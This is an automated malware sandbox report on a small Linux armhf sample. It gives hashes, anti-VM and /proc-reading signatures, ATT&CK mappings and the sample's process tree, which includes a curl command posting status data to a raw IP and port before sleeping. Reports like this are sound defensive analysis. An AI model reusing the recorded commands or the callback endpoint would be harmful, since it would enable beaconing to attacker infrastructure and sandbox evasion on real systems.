4c34702e48515ea0d84fdb03d6e15eb0fdb4e77ee4e4a374505f0bc95d011969

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/09/2026, 17:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4c34702e48515ea0d84fdb03d6e15eb0fdb4e77ee4e4a374505f0bc95d011969
Size 2KB
Sample260929-vmkl1ayeqe
SHA256 4c34702e48515ea0d84fdb03d6e15eb0fdb4e77ee4e4a374505f0bc95d011969
MD5 f68b01a9cf1d75309f9c48b682d2cd4e
SHA1 a2856d296a0ea310f3b6d7e712b1b776ee672c42
SHA512 54a2be0183f712a388576b528e148dd6b45e6c23957ecf79c7318c37426f49032232db430856f7659d054c9f06ad5939e3a328ee89a92411395ee24c80d18fcb
TLSH
T1854161A4B814A6317E8F84784907D000AA96673B10742D68783FC9313F3D3A9F6BF362
MD5 SHA1 SHA512 TLSH

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lpidx	4c34702e48515ea0d84fdb03d6e15eb0fdb4e77ee4e4a374505f0bc95d011969

/tmp/4c34702e48515ea0d84fdb03d6e15eb0fdb4e77ee4e4a374505f0bc95d011969
/tmp/4c34702e48515ea0d84fdb03d6e15eb0fdb4e77ee4e4a374505f0bc95d011969
1⤵
- Writes file to tmp directory
PID:643
- /bin/mkdir
  mkdir /tmp/.lpvlock
  2⤵
  - Reads runtime system information
  PID:644
- /usr/bin/tr
  tr -c a-zA-Z0-9._- _
  2⤵
  PID:649
- /bin/hostname
  hostname
  2⤵
  PID:648
- /usr/bin/awk
  awk "{print \$1%64}"
  2⤵
  - Reads runtime system information
  PID:655
- /usr/bin/cksum
  cksum
  2⤵
  PID:654
- /bin/cat
  cat /tmp/.lpidx
  2⤵
  PID:661
- /bin/sed
  sed -n 2727p /tmp/lpd.txt
  2⤵
  - Reads runtime system information
  PID:665
- /bin/sed
  sed -n 2728p /tmp/lpd.txt
  2⤵
  - Reads runtime system information
  PID:672
- /bin/sed
  sed -n 2729p /tmp/lpd.txt
  2⤵
  - Reads runtime system information
  PID:675
- /bin/sed
  sed -n 2730p /tmp/lpd.txt
  2⤵
  - Reads runtime system information
  PID:676
- /bin/sed
  sed -n 2731p /tmp/lpd.txt
  2⤵
  - Reads runtime system information
  PID:679
- /bin/cat
  cat /tmp/.lplc
  2⤵
  PID:680
- /bin/cat
  cat /tmp/.lpidx
  2⤵
  PID:682
- /usr/bin/curl
  curl -sk -m 10 -d "n=5 last= s=58" http://23.252.123.134:8903/r/lp_pve_stat_debian9-armhf-20260513-en-1_
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:684
- /bin/sleep
  sleep 900
  2⤵
  PID:688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.lpidx

Path /tmp/.lpidx
Size 2B
SHA256 9a271f2a916b0b6ee6cecb2426f0b3206ef074578be55d9bc94f6f3fe3ab86aa
MD5 897316929176464ebc9ad085f31e7284
SHA1 09d2af8dd22201dd8d48e5dcfcaed281ff9422c7
SHA512 a546d1300f49037a465ecec8bc1ebd07d57015a5ff1abfa1c94da9b30576933fb68e3898ff764d4de6e6741da822a7c93adc6e845806a266a63aa14c8bb09ebb
MD5 SHA1 SHA512

Submit Download

.lpidx

Path /tmp/.lpidx
Size 2B
SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
MD5 b026324c6904b2a9cb4b88d6d61c81d1
SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
MD5 SHA1 SHA512

Submit Download

.lpidx

Path /tmp/.lpidx
Size 2B
SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
MD5 26ab0db90d72e28ad0ba1e22ee510510
SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
MD5 SHA1 SHA512

Submit Download

.lpidx

Path /tmp/.lpidx
Size 2B
SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
MD5 6d7fce9fee471194aa8b5b6e47267f03
SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
MD5 SHA1 SHA512

Submit Download

.lpidx

Path /tmp/.lpidx
Size 2B
SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
MD5 1dcca23355272056f04fe8bf20edfce0
SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads